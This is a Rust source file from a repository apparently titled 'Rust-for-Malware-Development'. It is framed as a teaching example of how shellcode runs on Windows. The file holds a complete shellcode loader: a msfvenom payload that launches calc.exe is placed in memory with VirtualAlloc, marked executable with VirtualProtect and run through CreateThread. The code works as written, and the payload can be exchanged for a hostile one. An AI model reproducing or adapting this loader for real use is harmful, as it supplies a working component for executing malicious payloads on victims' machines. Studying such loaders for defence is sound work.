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https://codeberg.org/smukx/Rust-for-Malware-Development
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28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
116 lines
5.1 KiB
Rust
116 lines
5.1 KiB
Rust
/*
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Simple Payload Execution With Explanation.
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Pov: Just wrote this program for teaching my friends about how shellcode works and executes when it comes to windows.
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@5mukx
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*/
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// Importing winapi from crates
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use std::ptr::{copy, null_mut};
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use winapi::um::errhandlingapi::GetLastError;
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use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
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use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE};
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use winapi::um::processthreadsapi::CreateThread;
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use winapi::um::synchapi::WaitForSingleObject;
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macro_rules! error {
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($msg:expr, $($arg:expr), *) => {
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println!("[-] {}", format!($msg, $($arg), *));
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return;
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}
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}
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macro_rules! okey {
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($msg:expr) => {
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println!("[+] {}", format!($msg));
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}
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}
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fn main() {
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// Generating sample calc shellcode using metasploit
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// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
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let shellcode: [u8; 276] = [
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0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
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0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
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0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
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0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
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0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
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0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
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0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
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0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
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0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
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0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
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0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
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0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
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0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
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0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
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0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
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0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
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0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
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0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
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];
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/*
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Why unsafe ? : some operations require bypassing these safety checks for low-level
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memory manipulation, interacting with hardware, or calling foreign functions (e.g., WinAPI in this case).
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*/
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unsafe {
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okey!("Allocating memory for the shellcode with read/write permissions");
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let shellcode_addr = VirtualAlloc(
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null_mut(), // address hint (nullptr means the system chooses the address)
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shellcode.len(), // size of the memory block
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MEM_COMMIT | MEM_RESERVE, // allocation type
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PAGE_READWRITE, // memory protection
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);
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// checking if memory allocation was successful
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if shellcode_addr.is_null() {
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error!("VirtualAlloc failed {}", GetLastError());
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}
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println!("[+] Shellcode Addr: {:?}", shellcode_addr);
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okey!("Copy the shellcode to the allocated memory");
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copy(shellcode.as_ptr(), shellcode_addr as *mut u8, shellcode.len());
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okey!("Change the memory protection to executable");
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let mut old_protection = 0;
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let virtualprotect = VirtualProtect(
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shellcode_addr, // Starting Page Address
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shellcode.len(), // Shellcode size
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PAGE_EXECUTE_READWRITE, // Memory protection Option , Either Exec, Read, or Readwrite
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&mut old_protection // Previous protection
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);
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if virtualprotect == 0 {
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error!("VirtualProtect failed {}", GetLastError());
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}
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okey!("Creating thread to execute the shellcode");
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let hthread = CreateThread(
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null_mut(), // Security attributes
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0, // Stack size (0 means default)
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Some(std::mem::transmute(shellcode_addr)), // Thread start address
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null_mut(), // Thread parameter
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0, // Creation flags
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null_mut(), // Thread ID
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);
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println!("Thread Address: {:?}", hthread);
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if hthread.is_null() {
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error!("[!] CreateThread failed {}", GetLastError());
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}
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// waiting for the created thread to finish execution
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okey!("[+] Shellcode Executed!");
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WaitForSingleObject(hthread, 0xFFFFFFFF); // 0xFFFFFFFF means to wait for INFINITE times ..!
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}
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}
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